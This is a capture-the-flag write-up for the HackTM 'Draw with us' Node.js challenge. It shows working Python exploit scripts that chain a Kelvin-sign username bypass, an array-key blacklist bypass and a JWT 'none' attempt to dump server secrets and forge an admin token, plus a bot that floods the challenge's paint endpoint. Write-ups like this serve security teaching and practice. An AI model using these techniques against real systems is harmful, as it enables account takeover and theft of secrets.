Draw with us
Come draw with us!
- webif: http://167.172.165.153:60000/
- nodejs: http://167.172.165.153:60001/
- nodejs source code: link
Hint! Changing your color is the first step towards happiness.
NodeJS back-end
The challenge provides the source code which reveals:
- An NodeJS Express server
- login / admin management / socket.io
- JWT algo:
HS256
- admin username:
hacktm
To access the flag we need to become req.user.id == 0
.
app.get("/flag", (req, res) => {
if (req.user.id == 0) {
res.send(ok({ flag: flag }));
JWT secret
If we can sign our own JWT tokens, we can become admin (id: 0
) and access
the /flag
route. Using rockyou.txt
we tried bruteforcing the JWT secret,
but (not surprisingly) this did not yield anything.
./john --wordlist=rockyou.txt --format="HMAC-SHA256" jwt.txt
Obtaining flag
req.user.id
is derived from the incoming JWT token.
JWT tokens can be generated by visiting /init
. Simplified code:
let target = md5(n.toString()); // secret
let pwHash = md5(
bigInt(String(p)) // user input
.multiply(String(q)) // user input
.toString()
);
let adminId = pwHash
.split("")
.map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
.reduce((a, b) => a + b);
Where: p
and q
are user input, n
is secret.
Some characteristics on n
:
- md5 is 32 characters, so
target
has same length aspwHash
. toString()
hints that it is a number.
The adminId
is calculated using target
, where each char is subject to a XOR.
During such iteration (in map()
), if the 2 characters are the same (i.e: correct),
the resulting operation would result to 0
. At the end (during reduce()
) it will
sum()
all elements and if the result is 0
you are, in fact, user id 0
.
However, if the md5 hashes do not match, you get a positive number, which results in the user id being greater than 0.
There is no way to realistically bruteforce this, as the reduce()
removes any possibility
of a linear search to derive n
. We must find another way.
JWT none
attack
Next up; trying the JWT none
attack.
- Replace/alter JWT payload
{"id":1374,"iat":1580560256}
->{"id":0,"iat":1580560256}
- Remove signature
- Change
{"typ":"JWT","alg":"HS256"}
->"alg": "none"
- Submit attack @ server
More information on this type of attack can be found here.
Anyway, this does not work. It would have been too easy.
Back to code reading
- We need to become
req.user.id
0
- In order to so, we need to know
config.n
. - Perhaps we can read/expose
config.n
/config.p
in another way?
app.get("/serverInfo", (req, res) => {
// Only for logged in users
let user = users[req.user.id] || { rights: [] };
let info = user.rights.map(i => ({ name: i, value: config[i] }));
res.json(ok({ info: info }));
});
This seems to be code that reads straight from the config
object using user.rights
as access keys.
The question now becomes, can we insert our own keys in user.rights
? If so, we could simply insert
n
and it would output the secret config.n
value.
/updateUser
seems to have some code that allows adding our own rights:
app.post("/updateUser", (req, res) => {
// Only for admin
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
}
res.json(ok({ user: users[uid] }));
});
But in order to extend our rights, we need to pass the isAdmin(user)
check;
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
Ooh, a loose comparison. Perhaps we can break it.
Remember, during /login
we can provide our own username, but it cannot be config.adminUsername
as per:
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}
So, the question becomes, what can pass both isValidUser(user)
and isAdmin(user)
?
Valid user
Asby came up with the following demo:
var admin = "hacktm";
var user = "hacKtm";
console.log("Username: " + user);
console.log("isAdmin: " + (user.toLowerCase() == admin.toLowerCase()));
console.log("isValidUser: " + (user.toUpperCase() !== admin.toUpperCase()));
// var uc_arr = admin.toUpperCase().split("");
// var lc_arr = admin.toLowerCase().split("");
// for(i=0;i<100000;i++){
// var c = String.fromCharCode(i);
// if (uc_arr.includes(c.toUpperCase()) || lc_arr.includes(c.toLowerCase())){
// console.log(i, c, c.toUpperCase(), c.toLowerCase());
// }
}
Where he discovered that using the Kelvin sign K
still passes in a loose comparison;
"hacKtm".toLowerCase() == "hacktm".toLowerCase() // true
Yet it will fail on the admin check during login:
"hacKtm".toUpperCase() === "hacktm".toUpperCase() // false
We can use this to pass both security checks.
Rights
Now we can call /updateUser
to add our custom right.
app.post("/updateUser", (req, res) => {
// Only for admin
let uid = req.user.id;
let user = users[uid];
if (!user || !isAdmin(user)) {
res.json(err("You're not an admin!"));
return;
}
let rights = req.body.rights || [];
if (rights.length > 0 && checkRights(rights)) {
users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
}
res.json(ok({ user: users[uid] }));
});
There is one more obstacle; checkRights(rights)
:
function checkRights(arr) {
let blacklist = ["p", "n", "port"];
for (let i = 0; i < arr.length; i++) {
const element = arr[i];
if (blacklist.includes(element)) {
return false;
}
}
return true;
}
Which tries to prevent the user from adding blacklisted keys
such as n
and p
. We can however beat this by adding our keys
as an array.
Quick example, where we try to access an object with an array as key:
foo = {"foo": "bar"}
foo[["foo"]] // bar
Don't you love Javascript? ¯\_(ツ)_/¯
. So if we add ['n']
and ['p']
we will defeat the checkRights()
function.
We can then call /serverInfo
to read arbitrary values out of the config
object.
Dumped secrets
Using this we can dump the config
secrets:
import requests
url = "http://167.172.165.153:60001"
# create user with the admin username
resp = requests.post(url + "/login",
json={"username": "hacKtm"})
resp.raise_for_status()
token = resp.json()['data']['token']
print("[*] Created user with admin username")
# add illegal rights
resp = requests.post(url + "/updateUser",
json={"rights": [["n"], ["p"]]},
headers={"Authorization": "Bearer %s" % token})
resp.raise_for_status()
print("[*] updated rights")
# fetch secret config values
resp = requests.get(url + "/serverInfo",
headers={"Authorization": "Bearer %s" % token})
resp.raise_for_status()
print("[*] fetched secret config values")
server_info = resp.json()
for key in server_info["data"]["info"]:
if isinstance(key["name"], list):
print("[*] %s = %s" % (key["name"][0], key["value"]))
[*] n = 54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979
[*] p = 192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617
Exploit
We call /init
to generate an admin JWT token and call /flag
:
import jwt # pip install pyjwt
data = {
"p": "54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979",
"q": "1"
}
resp = requests.post(url+"/init", json=data)
token = resp.json()['data']['token']
jwt_claim = jwt.decode(token, verify=False, algorithms=['HS256'])
assert jwt_claim['id'] == 0
resp = requests.get(url+"/flag", headers={"Authorization": "Bearer %s" % token})
print(resp.json())
Flag
HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}
Bonus: Drawing bot
Usage
- Get a PNG image of dimensions
120x80
- Generate pixel data:
python main.py "image.png"
- Pixel data ends up in
output/
. - The script will output GNU parallel commands that you can run.
Example
$ python main.py "sp0t.png"
parallel -j +10 ./output/588d43.sh < output/588d43.txt
parallel -j +10 ./output/9ad284.sh < output/9ad284.txt
parallel -j +10 ./output/ffffff.sh < output/ffffff.txt
Code
import sys
import os
import struct
import json
import requests
from PIL import Image # pip install pillow-simd requests
url = "http://167.172.165.153:60001"
def get_color_token(_hex):
resp = requests.post(url+"/login", json={"username": "hacKtm"})
resp.raise_for_status()
token = resp.json()['data']['token']
data = {"color": int(_hex, 16)}
resp = requests.post(url+"/updateUser", json=data, headers={"Authorization": "Bearer %s" % token})
resp.raise_for_status()
return token
img = Image.open(sys.argv[1])
img = img.convert("RGBA")
pix = img.load()
os.popen("rm output/*").read()
output = {}
numcolors = []
hexlookup = {}
data = {}
hexi = lambda k: struct.pack('B', k).hex()
i = 0
for x in range(0, img.width):
for y in range(0, img.height):
r, g, b, a = pix[x, y]
if a == 0:
continue
cc = (r, g, b)
if cc not in numcolors:
numcolors.append(cc)
i += 1
hexlookup.setdefault(cc, f"{hexi(r)}{hexi(g)}{hexi(b)}")
data.setdefault(hexlookup[cc], [])
data[hexlookup[cc]].append((x, y))
for k, v in data.items():
f = open("output/%s.txt" % k, "a")
for coord in v:
x, y = coord
f.write("%s\n" % json.dumps({"x": x, "y": y}))
f.close()
for k, v in data.items():
f = open("output/%s.sh" % k, "a")
f.write("#!/bin/bash\n\n")
token = get_color_token(k)
cmd = """curl -vv -XPOST -m3 -s --data "$1" -H "Content-Type: application/json" -H "Authorization: Bearer %s" %s/paint""" % (
token, url
)
f.write(cmd)
f.write("\n")
f.close()
print("parallel -j +10 ./output/%s.sh < output/%s.txt" % (k, k))
os.popen("chmod +x output/*.sh").read()